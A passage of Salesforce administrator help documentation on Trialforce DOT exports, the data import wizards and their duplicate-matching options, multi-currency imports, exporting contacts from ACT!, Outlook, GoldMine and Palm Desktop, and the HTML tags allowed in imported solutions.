Note that the Login button is for administrators and may not always be available; however, you can log into an active sandbox at https://test.salesforce.com by entering your modified username and password. To change your username or password, see Changing Your Password on page 42. Click on a sandbox name to view details about the sandbox, including the sandbox type and when it was created.

See Also:
Force.com Sandbox

Using Trialforce to Export Organization Data to a DOT file


Available in: All Editions except for Database.com.

User Permissions Needed To configure and export a Trialforce DOT: To view the list of exported DOTs: Modify All Data View Setup and Configuration

Trialforce helps you create customized trials by configuring which data and metadata you want to include in your DOT. Trialforce signs up organizations on the correct instance based on geography and automatically upgrades the Trialforce DOTs at release time. There is no longer any downtime for trials beyond the standard downtime for the release on the instance. To configure and export your DOT: 1. Go to Your Name > Setup > Administration Setup > Data Management > Export to DOT File. 2. Select the information to include in your DOT:
Allinclude all data and metadata All Except Documents and Attachmentsinclude everything except items in the Documents tab and on the

Attachments related list on any object Setup Onlyinclude just the metadata, which contains configuration information such as objects and fields, but not records

3. Optionally, select the Include debugging info checkbox if you want to track what happens as the DOT is created. This is especially useful if the DOT creation process fails, as you'll have a log of what happened. 4. Optionally, select the Don't rebase dates checkbox if you want the values in date records to remain the same every time an organization is signed up from your DOT. 5. Select how you want the DOT export to output. You can choose the following options:
Documents TabSaves the DOT export as a file under the Documents tab. Appserver's Local FilesystemSaves the DOT export to the local Unix filesystem of the appserver that did

the export.
Trialforce UploadDepending on the size of your Trialforce DOT, you either see a message with your Trialforce

DOT ID or see a screen saying that you will receive an email when it has been created. If your Trialforce DOT creation doesn't complete within a minute or so, you will receive an email when it has finished. Once you receive the "ready for use" confirmation email, your Trialforce DOT is ready.

727

Data Management

Using Trialforce to Export Organization Data to a DOT file

Send the Trialforce DOT ID to your salesforce.com representative to get your trial set up. If your Trialforce DOT creation fails, you will receive an email notification. For more information about Trialforce, contact your salesforce.com representative.

See Also:
Viewing Your Exported TrialForce DOTs

Viewing Your Exported TrialForce DOTs


Available in: All Editions except for Database.com.

User Permissions Needed To configure and export a Trialforce DOT: To view the list of exported DOTs: Modify All Data View Setup and Configuration

Trialforce helps you create customized trials by configuring which data and metadata you want to include in your DOT. Trialforce signs up organizations on the correct instance based on geography and automatically upgrades the Trialforce DOTs at release time. There is no longer any downtime for trials beyond the standard downtime for the release on the instance. To view a list of your exported TrialForce DOTs, go to Your Name > Setup > Administration Setup > Data Management > TrialForce DOT Exports. On this page you can see a list of all the TrialForce DOTs you've exported using TrialForce Upload. Click a column heading to sort the list in ascending order. Click the heading a second time to sort in descending order. For more information about Trialforce, contact your salesforce.com representative.

Importing Overview

728

Data Management

Importing Overview

Available in: All Editions except Database.com Organization import not available in: Personal Edition Custom object import not available in: Personal Edition Lead import not available in: Personal and Contact Manager Editions Solution import not available in: Personal, Contact Manager, and Group Editions Person account import not available in: Personal, Contact Manager, Group, and Professional Editions

You can import data from ACT!, Outlook, and any program that can save data in the CSV (comma-separated values) format, such as Excel or GoldMine. Note: If commas are not appropriate for your locale, use a tab or other delimiter.

The following table summarizes the kinds of records that can be imported. Which records can be imported? Type of record Import record limit Users with access All users Overview topic What Is Imported for Business Accounts and Contacts? What Is Imported for Business Accounts and Contacts? What Is Imported for Person Accounts? What Is Imported for Person Accounts?

Business accounts and contacts 500 at a time owned by you Business accounts and contacts 50,000 at a time owned by different users

Administrators; Users with the Modify All Data permission All users Administrators; Users with the Import Person Accounts permission

Person accounts owned by you 50,000 at a time Person accounts owned by different users 50,000 at a time

Leads

50,000 at a time

Administrators; Users with Read, Create, and Edit on leads and the Import Leads permission

What is Imported for Leads?

Campaign members

50,000 for importing leads as Administrators; What is Imported for new campaign members and Campaign Members? Marketing users (or users with updating the status of existing the Import Leads permission campaign members. and the Edit permission on campaigns) can import new leads as campaign members.

729

Data Management

Importing Overview

Which records can be imported? Type of record Import record limit Users with access Users also need the Read permission on contacts to use the campaign update wizard to make existing leads and contacts campaign members. Custom objects 50,000 at a time Administrators; Users with the Modify All Data permission Solutions 50,000 at a time Administrators; Users with the Import Solutions permission Assets Cases Campaigns Contracts Documents Opportunities Products These records cannot be imported via the import wizards. What Is Imported for Custom Objects? Overview topic

What Is Imported for Solutions?

For information on field accessibility and how different field type values are imported, see Notes on Importing Data on page 737.

Process for Importing Records


To import records into Salesforce, follow the steps in these topics: 1. Creating Export Files for Import Wizards 2. Preparing Your Data for Import 3. Accessing the Import Wizards

730

Data Management

Importing Overview

Note: In addition to the record limits on each import, your import is also subject to the overall storage limits for your organization. For storage limits, see Monitoring Resources on page 704. Although they are custom objects, relationship group members cannot be imported. For more information on the behaviors of relationship group members, see Relationship Group Considerations on page 2389.

See Also:
Importing Multiple Currencies Undoing an Import Importing Campaign Members Importing Articles FAQ: Importing Tip sheet: Importing Your Data Administrator tip sheet: Importing Your Organization's Data

What Is Imported for Business Accounts and Contacts?


Available in: All Editions except Database.com Organization import not available in: Personal Edition, Database.com

The import wizards for contacts and business accounts allow you to match records in a variety of ways in order to prevent duplicates. Contacts can be matched by Salesforce ID, name, or email. Business accounts can be matched by Salesforce ID or by name and site. Matching by Salesforce ID is inclusive of both contacts and business accounts; if you match one by Salesforce ID, the other will also be matched by Salesforce ID. Matching by Name and Site If you choose to match contacts by name and business accounts by name and site (which are the recommended options), the import wizards automatically create a business account for each unique business account name and site in the import file. They also create a separate contact for each contact name listed in the file. The contacts are then associated with the appropriate business accounts. If the business account or contact already exists in the system, and you have read/write access to the record, the wizards add your import data to the existing data in Salesforce. In addition, if a business account or contact name in your import file is similar to an existing business account or contact name, the import data is added to the existing data in Salesforce (see Can the contact and business account import wizards recognize similar names? on page 3202). Matching by Salesforce ID You can also choose to match contacts and business accounts by Salesforce ID. With this selected, the Salesforce ID will be the criteria for de-duplication. That is, if you are matching by ID and a record in your source file has the same ID as a record in Salesforce, then that record will be updated in Salesforce. Note that record IDs are case-sensitive and must match exactly.

731

Data Management

Importing Overview

Overwriting Existing Account Values The wizards never overwrite your existing business account fields unless you check the Overwrite existing account values checkbox in the wizard. With this box checked, you can insert or update existing business account fields with new data. However, you cannot use this checkbox to update existing field data with blank values. With this box unchecked, the wizard updates any empty business account fields, but does not touch any fields with existing data. If you do not have read/write access to an existing business account or contact, the wizards create a new business account or contact owned by you. In addition, the wizards create new business accounts and contacts based on specific fields in your import file. See When do the import wizards create new contacts and business accounts? on page 3200. In Professional, Enterprise, Unlimited, and Developer Edition organizations, the import wizards can also import new business account and contact notes. The wizards do not import notes that are exact duplicates of existing contact or business account notes.

See Also:
Accounts Overview Import My Organizations Accounts and Contacts FAQ: Importing

What Is Imported for Person Accounts?


Person account import available in: Enterprise, Unlimited, and Developer Editions

The import wizards for person accounts allow you to prevent the creation of duplicate records by matching records according to one of the following fields: Account Name, Salesforce ID, or Email. In your import file, include a column for the field that you are using for record matching. Note: Your administrator may have renamed person account to another term. If so, the import wizard will refer to the new name.

Matching by Name When you select this option, the import wizard will detect existing records in Salesforce that have the same name. Note that this type of matching is not case-sensitive - for example, names that begin with a capital letter will be matched with the same name that begins with a lowercase letter. If necessary, scan and standardize your custom object names before performing the import to prevent unintended matches. Matching by Salesforce ID A Salesforce ID is a system-generated, case-sensitive string of 15 or 18 letters and numbers that uniquely identifies each Salesforce record. When you select this option, the import wizard will detect existing records in Salesforce that have the same Salesforce ID. Note that Salesforce IDs are case-sensitive and must match exactly. Salesforce IDs can be obtained by running reports that include the ID field of the record. Matching by Email With this option, person accounts in your import file will be matched with existing person accounts in Salesforce according to the exact value in the Email field.

732

Data Management

Importing Overview

Matching by External ID An external ID is a custom field that has the External ID attribute, meaning that it contains unique record identifiers from a system outside of Salesforce. When you select this option, the import wizard will detect existing records in Salesforce that have the same external ID. Note that this operation is not case-sensitive - for example, ABC will be matched with abc. However, there is an exception: if the custom field has the separate Unique attribute and the case-sensitive option for that attribute is selected, uppercase and lowercase letters will not be considered identical. For more information, see Custom Field Attributes on page 988. If necessary, scan and standardize your external ID values before performing the import to prevent unintended matches. When matching by external ID, if the import wizard finds duplicate records, only the first three duplicate records are reported to you in the confirmation email. Note: Only account custom fields with the External ID attribute are available for this step. While all custom contact fields are available on person account page layouts, custom contact fields with the External ID attribute are not available as matching fields during person account import. Ignoring or Updating Matching Records When the import wizard detects existing records in Salesforce that match according to the field you have chosen, you can choose one of the following actions: Do not update existing records and only insert new records - If there are records in your file that are new and do not match any existing records, then insert them into Salesforce. Also, ignore any records in your file that match an existing record, and do nothing to the existing record. Update existing records and do not insert any new records - If there are records in your file that match an existing record, then update the existing record. Also, ignore any records in your file that do not match an existing record, and do not insert them as new records. Update existing records and insert new records - If there are records in your file that are new and do not match any existing records, then insert them into Salesforce. Also, if there are records in your file that match an existing record, then update the existing record.

See Also:
Import My Person Accounts Import My Organization's Person Accounts FAQ: Importing

What is Imported for Leads?


Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

You can import data into the standard lead fields and into any custom lead fields you may have, even if a particular field is hidden or read only in your page layout or field-level security settings for leads. (Field-level security is available in Enterprise, Unlimited, and Developer Editions only.)

733

Data Management

Importing Overview

Importing Leads With Matching Types You can choose whether to match leads in your import file with existing leads in Salesforce. Leads can be matched according to the following types: Salesforce ID, name, or email. Choosing a matching type sets the criteria for avoiding duplicate leads. For example, if you are matching by email and a lead in your source file has the same email as a lead in Salesforce, then that lead will be updated in Salesforce. If you are not matching by email and a lead in your source file has the same email as a lead in Salesforce, then a new lead will be created. The wizards never overwrite your existing lead fields unless you check the Overwrite existing lead values checkbox in the wizard. With this box checked, you can insert or update existing lead fields with new data. However, you cannot use this checkbox to update existing field data with blank values. With this box unchecked, the wizard updates any empty lead fields, but does not touch any fields with existing data. Importing Leads Without Matching Types If you choose a matching type of None in the lead import wizard, for each lead in your import file, the Import My Organizations Leads wizard creates a new lead in Salesforce. You can merge leads after they are imported; see Merging Duplicate Leads on page 2589.

See Also:
Import My Organizations Leads FAQ: Importing

What is Imported for Campaign Members?


Available in: Professional, Enterprise, Unlimited, and Developer Editions

Import Leads Wizard - For each lead in your import file, this wizard imports the lead, associates the lead with a campaign, and inserts a Member Status value for the lead in that campaign. You can import data into the standard lead fields and into any custom lead fields, even if a particular field is hidden or read only in your page layout or field-level security settings. (Field-level security is available in Enterprise, Unlimited, and Developer Editions only.) If you have duplicate leads in your import file, the wizard does not merge them. In addition, if any of the imported leads match an existing lead, the wizard does not merge the duplicate data into one lead. Campaign Update Wizard - For each contact or lead in your import file, this wizard updates only the Member Status value of the matching contact or lead in Salesforce. You cannot add new leads or contacts, nor can you update any other fields in the existing lead or contact records.

See Also:
Lead Import Wizard Campaign Update Wizard FAQ: Importing

What Is Imported for Custom Objects?

734

Data Management

Importing Overview

Custom object import available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To import custom objects: Modify All Data

The import wizard for custom objects allows you to prevent the creation of duplicate records by matching records according to one of the following fields: custom object name, Salesforce ID, or external ID. In your import file, include a column for the field that you are using for record matching. Matching by Name When you select this option, the import wizard will detect existing records in Salesforce that have the same name. Note that this type of matching is not case-sensitive - for example, names that begin with a capital letter will be matched with the same name that begins with a lowercase letter. If necessary, scan and standardize your custom object names before performing the import to prevent unintended matches. Matching by Salesforce ID A Salesforce ID is a system-generated, case-sensitive string of 15 or 18 letters and numbers that uniquely identifies each Salesforce record. When you select this option, the import wizard will detect existing records in Salesforce that have the same Salesforce ID. Note that Salesforce IDs are case-sensitive and must match exactly. Salesforce IDs can be obtained by running reports that include the ID field of the record. Matching by External ID An external ID is a custom field that has the External ID attribute, meaning that it contains unique record identifiers from a system outside of Salesforce. When you select this option, the import wizard will detect existing records in Salesforce that have the same external ID. Note that this operation is not case-sensitive - for example, ABC will be matched with abc. However, there is an exception: if the custom field has the separate Unique attribute and the case-sensitive option for that attribute is selected, uppercase and lowercase letters will not be considered identical. For more information, see Custom Field Attributes on page 988. If necessary, scan and standardize your external ID values before performing the import to prevent unintended matches. When matching by external ID, if the import wizard finds duplicate records, only the first three duplicate records are reported to you in the confirmation email. Ignoring or Updating Matching Records When the import wizard detects existing records in Salesforce that match according to the field you have chosen, you can choose one of the following actions: Do not update existing records and only insert new records - If there are records in your file that are new and do not match any existing records, then insert them into Salesforce. Also, ignore any records in your file that match an existing record, and do nothing to the existing record. Update existing records and do not insert any new records - If there are records in your file that match an existing record, then update the existing record. Also, ignore any records in your file that do not match an existing record, and do not insert them as new records.

735

Data Management

Importing Overview

Update existing records and insert new records - If there are records in your file that are new and do not match any existing records, then insert them into Salesforce. Also, if there are records in your file that match an existing record, then update the existing record. Note: Custom objects with two master-detail relationships cannot be imported using the import wizard.

See Also:
Import My Organization's Custom Objects FAQ: Importing

What Is Imported for Solutions?


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To import solutions: Import Solutions

The import wizard for solutions allows you to prevent the creation of duplicate records by matching records according to one of the following fields: solution title, Salesforce ID, or external ID. In your import file, include a column for the field that you are using for record matching. Matching by Solution Title When you select this option, the import wizard will detect existing solutions in Salesforce that have the same title. Note that this type of matching is not case-sensitive - for example, titles that begin with a capital letter will be matched with the same title that begins with a lowercase letter. If necessary, scan and standardize your solution titles before performing the import to prevent unintended matches. Matching by Salesforce ID A Salesforce ID is a system-generated, case-sensitive string of 15 or 18 letters and numbers that uniquely identifies each Salesforce record. When you select this option, the import wizard will detect existing records in Salesforce that have the same Salesforce ID. Note that Salesforce IDs are case-sensitive and must match exactly. Salesforce IDs can be obtained by running reports that include the ID field of the record. Matching by External ID An external ID is a custom field that has the External ID attribute, meaning that it contains unique record identifiers from a system outside of Salesforce. When you select this option, the import wizard will detect existing records in Salesforce that have the same external ID. Note that this operation is not case-sensitive - for example, ABC will be matched with abc. However, there is an exception: if the custom field has the separate Unique attribute and the case-sensitive option for that attribute is selected, uppercase and lowercase letters will not be considered identical. For more information, see Custom Field Attributes on page 988. If necessary, scan and standardize your external ID values before performing the import to prevent unintended matches.

736

Data Management

Importing Overview

When matching by external ID, if the import wizard finds duplicate records, only the first three duplicate records are reported to you in the confirmation email. Ignoring or Updating Matching Records When the import wizard detects existing records in Salesforce that match according to the field you have chosen, you can choose one of the following actions: Do not update existing records and only insert new records - If there are records in your file that are new and do not match any existing records, then insert them into Salesforce. Also, ignore any records in your file that match an existing record, and do nothing to the existing record. Update existing records and do not insert any new records - If there are records in your file that match an existing record, then update the existing record. Also, ignore any records in your file that do not match an existing record, and do not insert them as new records. Update existing records and insert new records - If there are records in your file that are new and do not match any existing records, then insert them into Salesforce. Also, if there are records in your file that match an existing record, then update the existing record.

See Also:
What are Multilingual Solutions? Import My Organization's Solutions FAQ: Importing

Notes on Importing Data


Available in: All Editions except Database.com Organization import not available in: Personal Edition Lead import not available in: Personal and Contact Manager Editions Custom object import not available in: Personal Edition Solution import not available in: Personal, Contact Manager, and Group Editions

Field AccessibilityIn the organization-wide import wizards for accounts and leads, you can import data into any standard or custom field even if it is hidden or read only in your page layout or field-level security settings. For the Import My Contacts wizard, you can import data only into the fields that are editable for you in your page layout or field-level security settings. See Managing Page Layouts on page 1188 and Field-Level Security Overview on page 622. Field-level security is available in Enterprise, Unlimited, and Developer Editions only.

New Values for Picklists and Multi-Select PicklistsIf your import file contains data to be displayed in picklists or multi-select picklists, the wizards warn you when you attempt to import a new picklist value that does not match any valid picklist values. If you ignore the warning, the new value is automatically added to the imported record. Your administrator can later edit the field to add the necessary values. Note that the import wizards do not allow you to import more than 100 new picklist or multi-select picklist values for any field during a single import.

737

Data Management

Importing Multiple Currencies

If your organization uses the Translation Workbench, the import wizards look for matching translated values before creating new inactive picklist values. See Setting Up the Translation Workbench on page 451 for more information. Multi-Select PicklistsTo import multiple values into a multi-select picklist, separate the values by a semicolon in your import file. You can import up to 100 values at a time in a multi-select picklist field. If you have more than 100 values in your import file for any one record, the import wizard leaves the field blank in that record. CheckboxesTo import data into a checkbox field, use 1 for checked values and 0 for unchecked values. Default ValuesFor picklist, multi-select picklist, and checkbox fields, if you do not map the field in the import wizard, the default value for the field, if any, is automatically inserted into the new or updated record. Date/Time FieldsEnsure that the format of any date/time fields you are importing matches how they display in Salesforce per your locale setting. For information on setting your locale, see Editing Your Personal Information on page 30. Formula FieldsFormula fields cannot accept imported data because they are read only. Field Validation RulesSalesforce runs validation rules on records before they are imported. Records that fail validation aren't imported. Consider deactivating the appropriate validation rules before running an import if they affect the records you are importing. Universally Required FieldsYou must include universally required fields in your import files or the import will fail. For more information, see About Universally Required Fields on page 1100.

Importing Multiple Currencies


Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

If your organization has set up the ability to use multiple currencies, you can import amounts in different currencies.

Import My Accounts and Contacts


For personal imports, all amounts in new accounts and contacts are imported in your personal currency. When import updates amounts in existing records, the amounts in your file are converted from your personal currency to the currency of the account or contact. For example, if your personal currency is U.S. dollars, and your import file has 100 as the annual revenue of an existing account with Account Currency of euros, then the new Annual Revenue value of the account will be EUR 92, assuming a conversion rate of 0.92 and EUR as the currency code for euros.

Organization Import
When importing accounts, contacts, custom objects, leads, or solutions for your organization, you can specify the currency type for amount fields using the Currency ISO Code column in your import file. The following rules apply: Entering currency codes - Enter a currency code in the Currency ISO Code column in your import file. Currency codes are three letter codes that follow an international standard. For example, USD is the currency code for U.S. dollars. Click Your Name > Setup > Company Profile > Manage Currencies to see a list of valid codes for your organization. Using one currency for accounts and contacts - If you are importing accounts and contacts, the Currency ISO Code column applies to both an account and its associated contact. You cannot specify different currencies for associated accounts and contacts. Updating the currency code - When updating the currency code but not the currency amount for existing accounts and contacts, the existing amount is not converted to the corresponding number in the new currency.

738

Data Management

Creating Export Files for Import Wizards

Entering inactive currencies - If your enter an inactive currency in your import file, your personal currency will be used instead. However, amounts will not be modified. For example, if your file has AUD 100 for 100 Australian dollars but AUD is an inactive currency for your organization, then it is imported as USD 100, assuming your personal currency is U.S. dollars. Omitting the Currency ISO Code column - When creating new records via importing, if you do not use the Currency ISO Code column or fail to map it, your personal currency is used. For example, if your file has 100 and your personal currency is U.S. dollars (currency code = USD), this is imported as USD 100. When updating existing records via importing, if you do not use the Currency ISO Code column or fail to map it, any amounts are interpreted as having the existing currency of the record. For example, if your file has 100 for a record that has a currency of EUR (the currency code for euros), this amount is interpreted as EUR 100.

See Also:
Managing Multiple Currencies

Creating Export Files for Import Wizards


Available in: All Editions except Database.com

To import data into Salesforce, you first need to export the data from your existing application. This creates an export file of the information you want to import. Exporting from ACT! Exporting from Outlook Exporting from GoldMine 4.0 Exporting from GoldMine 5.0 Exporting from Palm Desktop Exporting from Other Data Sources Exporting from Salesforce

After creating the export file, compare your data with the Salesforce fields available for import, and verify that your data will be mapped into the appropriate Salesforce fields. See Preparing Your Data for Import on page 744. Your file can contain a mixture of some new records as well as updates for existing records. The option selected in the Matching Type field determines whether it is a new or existing record. When importing leads, you can choose whether to match leads in your import file with existing leads in Salesforce. Leads can be matched according to the following types: Salesforce ID, name, or email. Choosing a matching type sets the criteria for avoiding duplicate leads. For example, if you are matching by email and a lead in your source file has the same email as a lead in Salesforce, then that lead will be updated in Salesforce. If you are not matching by email and a lead in your source file has the same email as a lead in Salesforce, then a new lead will be created. Note: If you are the administrator and are importing for multiple users, you must combine your export data into a single CSV file using Excel. When importing new records, add or modify a Record Owner field in your file such that the field contains the names of existing, active users. Enter the users full usernames (for example, jsmith@acme.com) or first and last names (for

739

Data Management

Creating Export Files for Import Wizards

example, Joe Smith, or Smith Joe for Asian locales). This will specify the owner of the imported data for an organization import. For lead imports, you can also specify the name of a lead queue. Record owner fields do not get updated when records are updated via import. All records retain their existing owners; and the Record Owner field in your import file is ignored for these records. When importing leads, you can alternatively use a lead assignment rule to specify the owners of the imported data, instead of using a Record Owner field.

See Also:
Preparing Your Data for Import

Exporting from ACT!


ACT! allows you to export contact data in a text-delimited format which can then be imported. To export contact data from ACT! (versions 4.0 or 2000): 1. 2. 3. 4. 5. 6. 7. Launch ACT! and open your database. Select File > Data Exchange > Export.... Select the file type Text-Delimited. Choose a file name and location for the exported data and click Next. Select Contact records only. Click the Options... button. Select Comma for the field separator character. Note: If commas are not appropriate for your locale, use a tab or other delimiter.

8. Select Yes, export field names and click OK. 9. Click Next. 10. Select All Records and then click Next. 11. Leave the export field order list alone, and click Finish.

See Also:
Default Field Mapping for ACT!

Exporting from Outlook


Microsoft Outlook allows you to export data in a CSV (comma-separated values) format which can then be imported. 1. Launch Outlook. 2. Select File > Import and Export.... 3. Choose Export to a file and click Next.

740

Data Management

Creating Export Files for Import Wizards

4. Choose Comma Separated Values (Windows) and click Next. Note: If commas are not appropriate for your locale, use a tab or other delimiter.

5. Select the Contacts folder and click Next. You can select a different contacts folder if you have contacts stored in multiple folders. 6. Choose a file name for the exported data and click Next. 7. Click Finish.

See Also:
Default Field Mapping for Outlook

Exporting from GoldMine 4.0


GoldMine 4.0 allows you to export contact data in a text format that can be imported. Additionally, you can export GoldMine 4.0 notes for import into Professional, Enterprise, Unlimited, and Developer Edition organizations. Exporting Contacts from GoldMine 4.0 Exporting Notes from GoldMine 4.0

Exporting Contacts from GoldMine 4.0 To export contact data from GoldMine 4.0, follow these steps: 1. 2. 3. 4. 5. 6. 7. 8. Launch GoldMine 4.0. Choose Export Records from the Tools menu. Select Export to a new file and DBF file, and click Next. In the list of GoldMine Fields on the left side of the dialog, select all of the fields, and click Add Field. Then click Next. Choose the location for the export file, and click Next. Select No when asked if you want to save these settings, and click Next. Click Finish. After the export finishes, locate the exported file and change its file extension from .dbf to .csv. The file is now ready for import into Salesforce.

Exporting Notes from GoldMine 4.0 Before importing your GoldMine 4.0 notes into Salesforce, you must import your GoldMine 4.0 contacts. To export notes from GoldMine 4.0, follow these steps: 1. 2. 3. 4. Launch GoldMine 4.0. Choose Export Records from the Tools menu. Select Export to a new file and ASCII file, and click Next. In the list of GoldMine Fields on the left side of the dialog, select the company, lastname, and notes fields, and click Add Field. Then click Next. 5. Choose the location for the export file, and click Next. 6. Select No when asked if you want to save these settings, and click Next.

741

Data Management

Creating Export Files for Import Wizards

7. Click Finish. 8. After the export finishes, locate the exported file and change its file extension to .csv. 9. Open the file. 10. Add a header column by right-clicking on the first row and choosing Insert. 11. In column A, enter Company. 12. In column B, enter Last Name. 13. In column C, enter Note. 14. If necessary, clean up the file prior to importing it. Common problems include notes that have been broken between columns (this occurs when notes contain quotation marks).

See Also:
Field Mapping for Other Data Sources and Organization Import

Exporting from GoldMine 5.0


GoldMine 5.0 allows you to export contact data in a text format that can be imported. Additionally, you can export GoldMine 5.0 notes for import into Professional, Enterprise, Unlimited, and Developer Edition organizations. Exporting Contacts from GoldMine 5.0 Exporting Notes from GoldMine 5.0

Exporting Contacts from GoldMine 5.0 To export contact data from GoldMine 5.0, follow these steps: 1. 2. 3. 4. 5. Launch GoldMine 5.0. Choose Tools > Import/Export Wizard > Export Contact Records. Select Export to a new file and ASCII file, and click Next. Select ALL Contact Records! in the drop-down list, and click Next. In the list of GoldMine Fields on the left side of the dialog, select the fields you want to export, and click Add Field. We recommend you select all fields, except the notes field. See Exporting Notes from GoldMine 5.0 on page 742 for information on how to export notes. 6. Click Next. 7. Choose the location for the export file, select the Export GoldMine field names... checkbox, and then click Next. 8. Select No when asked if you want to save these settings, and click Next. 9. Click Finish. 10. After the export finishes, locate the exported file and change its file extension from .txt to .csv. The file is now ready for import into Salesforce. Exporting Notes from GoldMine 5.0 Before importing your GoldMine 5.0 notes into Salesforce, you must import your GoldMine 5.0 contacts. To export notes from GoldMine 5.0, follow these steps: 1. Launch GoldMine 5.0. 2. Choose Tools > Import/Export Wizard > Export Contact Records. 3. Select Export to a new file and ASCII file, and click Next.

742

Data Management

Creating Export Files for Import Wizards

4. Select ALL Contact Records! in the drop-down list, and click Next. 5. In the list of GoldMine Fields on the left side of the dialog, select the company, lastname, and notes fields, and click Add Field. Then click Next. 6. Choose the location for the export file, select the Export GoldMine field names... checkbox, and then click Next. 7. Select No when asked if you want to save these settings, and click Next. 8. Click Finish. 9. After the export finishes, locate the exported file and change its file extension from .txt to .csv. 10. Open the file. 11. If necessary, clean up the file prior to importing it. Common problems include notes that have been broken between columns (this occurs when notes contain quotation marks).

See Also:
Field Mapping for Other Data Sources and Organization Import

Exporting from Palm Desktop


The Palm Desktop allows you to export your Address Book contacts in a CSV (comma-separated values) format which can then be imported. 1. Open the Address Book in the Palm Desktop. If you only want to export specific contacts, select those records. 2. Choose Export from the File menu. 3. In the Export To File dialog, enter a name for the file and choose a folder for it. In the Export as drop-down list, choose Comma Separated (*.csv;*.txt). Select the range of records to export - either All or Currently selected records. Note: If commas are not appropriate for your locale, use a tab or other delimiter.

4. Click Export. 5. In the Specify Export Fields dialog box, select the Address Book fields you want to export, and click OK.

See Also:
Field Mapping for Other Data Sources and Organization Import

Exporting from Other Data Sources


You can import data into the system from any other application that can create a CSV (comma-separated values) file. 1. Save your data source as a CSV file. Note: If commas are not appropriate for your locale, use a tab or other delimiter.

2. Ensure your file includes only one name per field. The system cannot accept more than one name per field.

743

Data Management

Creating Export Files for Import Wizards

3. Ensure your file separates names and titles into two fields. The system cannot accept fields containing both names and titles. 4. Ensure your file includes only one phone number per field.

See Also:
Field Mapping for Other Data Sources and Organization Import

Exporting from Salesforce


Available in: Professional, Enterprise, Unlimited, and Developer Editions

You can export account, contact, custom object, lead, or solution reports from Salesforce to create an import file for the import wizards. You must include the Account ID, Contact ID, Custom Object ID, Lead ID, or Solution ID value for each respective record in your report. These ID fields are unique Salesforce identifiers and are used to accurately match your data with existing Salesforce records. To create an import file with these ID fields, you first need to export the data from Salesforce. 1. Run an account, contact, custom object, lead, or solution report in Salesforce, include the respective ID field, and export it to Excel. 2. If you are exporting both leads and contacts to be targeted in a campaign: a. In Excel, combine the exported reports into one CSV (comma-separated values) file. Make sure all of the ID field values are in the same column. Note: If commas are not appropriate for your locale, use a tab or other delimiter.

b. Rename the Lead ID/Contact ID column to Record Id. c. Add a column entitled Status, and enter the campaign member status for each contact or lead. Note: Remember that Salesforce record IDs are case-sensitive and should never be changed manually in your import file.

See Also:
Importing Campaign Members Managing Campaigns

Preparing Your Data for Import

744

Data Management

Preparing Your Data for Import

Available in: All Editions except Database.com

After exporting your data from Salesforce or your existing application (see Creating Export Files for Import Wizards on page 739), prepare your data before importing it. Preparing Contacts When importing from ACT! or Outlook, the Import My Contacts wizard automatically maps fields from ACT! and Outlook to Salesforce. See Default Field Mapping for ACT! on page 747 and Default Field Mapping for Outlook on page 749. When importing from other data sources, you must use Excel to label the columns in your import file as specified in Field Mapping for Other Data Sources and Organization Import on page 751. Preparing Person Accounts When importing person accounts, use the field labels in Salesforce as the column labels in your import file. See Person Account Fields on page 77. Preparing Organization's Business Accounts and Contacts When importing business accounts and contacts for your organization, you must use Excel to label the columns in your import file as specified in Field Mapping for Other Data Sources and Organization Import on page 751. Preparing Organization's Leads When importing general leads or leads for campaigns, use the import file labels specified in Field Mapping for Importing Leads on page 756. Preparing Custom Objects When importing a custom object, use the field labels shown on the custom object detail page in Salesforce as the column labels in your import file. Preparing Solutions When importing solutions, use the field labels in Salesforce as the column labels in your import file. For information on field labels, see Solution Fields on page 2864. You can enter HTML into the solutions you plan to import into Salesforce.However, unless your organization has enabled HTML solutions, HTML tags will display in the solutions after they are imported. For more information, see What are HTML Solutions? on page 2846. For security purposes, Salesforce automatically filters all HTML solutions for potentially malicious HTML. If potentially malicious HTML is detected in an HTML solution, then the potentially malicious HTML is either automatically removed or transformed into text for users who view the HTML solution. Note that users will not be able to notice when potentially malicious HTML is removed from an HTML solution. You can import solutions written in HTML format into Salesforce. However, for security purposes, only the HTML tags listed below are allowed. The content of any HTML tags not listed below is automatically removed when saved in HTML solutions. Furthermore, the content of all <script> and <iframe> tags, as well as all JavaScript, is automatically removed when saved in HTML solutions. Additionally, Cascading Style Sheets (CSS) are not supported in HTML solutions. The following HTML tags are allowed in HTML solutions imported into Salesforce:

745

Data Management

Preparing Your Data for Import

<a> <abbr> <acronym> <address> <b> <bdo> <big> <blockquote> <br> <caption> <cite> <code> <col> <colgroup> <dd> <del> <dfn> <div> <dl>

<dt> <em> <font> <h1> <h2> <h3> <h4> <h5> <h6> <hr> <i> <img> <ins> <kbd> <li> <ol> <p> <pre>

<q> <samp> <small> <span> <strike> <strong> <sub> <sup> <table> <tbody> <td> <tfoot> <th> <thead> <tr> <tt> <ul> <var>

Within the above tags, you can include the following attributes:
alt background border class colspan face height href name rowspan size src style target width

The above attributes which can include a URL are limited to URLs that begin with the following:
http: https: file: ftp:

746

Data Management

Preparing Your Data for Import

mailto: # / for relative links

Note: If your data has information in fields that do not match any of the standard fields, your administrator can create custom fields for that data prior to import. You must include universally required fields in your import files or the import will fail. For more information, see About Universally Required Fields on page 1100.

See Also:
Creating Export Files for Import Wizards Accessing the Import Wizards

Default Field Mapping for ACT!


Available in: All Editions except Database.com

This table details how ACT! fields map to Salesforce account and contact import fields during an individual data import. Note: If an ACT! record contains more than one contact for the same company, the import wizard creates multiple contacts for one account.

ACT! Field
Address 1

Import Field Contact: Mailing Address and Account: Billing Address

Address 2

Contact: Mailing Address and Account: Billing Address

Address 3

Contact: Mailing Address and Account: Billing Address

Alt Phone Alt Phone Ext. Assistant Asst. Phone Asst. Phone Ext.

Contact: Other Phone Contact: Other Phone Ext. Contact: Assistant's Name Contact: Asst. Phone Contact: Asst. Phone Ext.

747

Data Management

Preparing Your Data for Import

ACT! Field
City

Import Field Contact: Mailing City and Account: Billing City

Company Contact Country

Account: Name Contact: Full Name Contact: Mailing Country and Account: Billing Country

Department E-mail Login

Contact: Department Contact: Email

(The import wizard verifies this is a valid email address in the form: jsmith@acme.com)
Fax

Contact: Fax and Account: Fax

Fax Ext. First Name Home Address 1 Home Address 2 Home Address 3 Home City Home Country Home Phone Home State Home Zip ID/Status Last Name Mobile Phone Note Phone

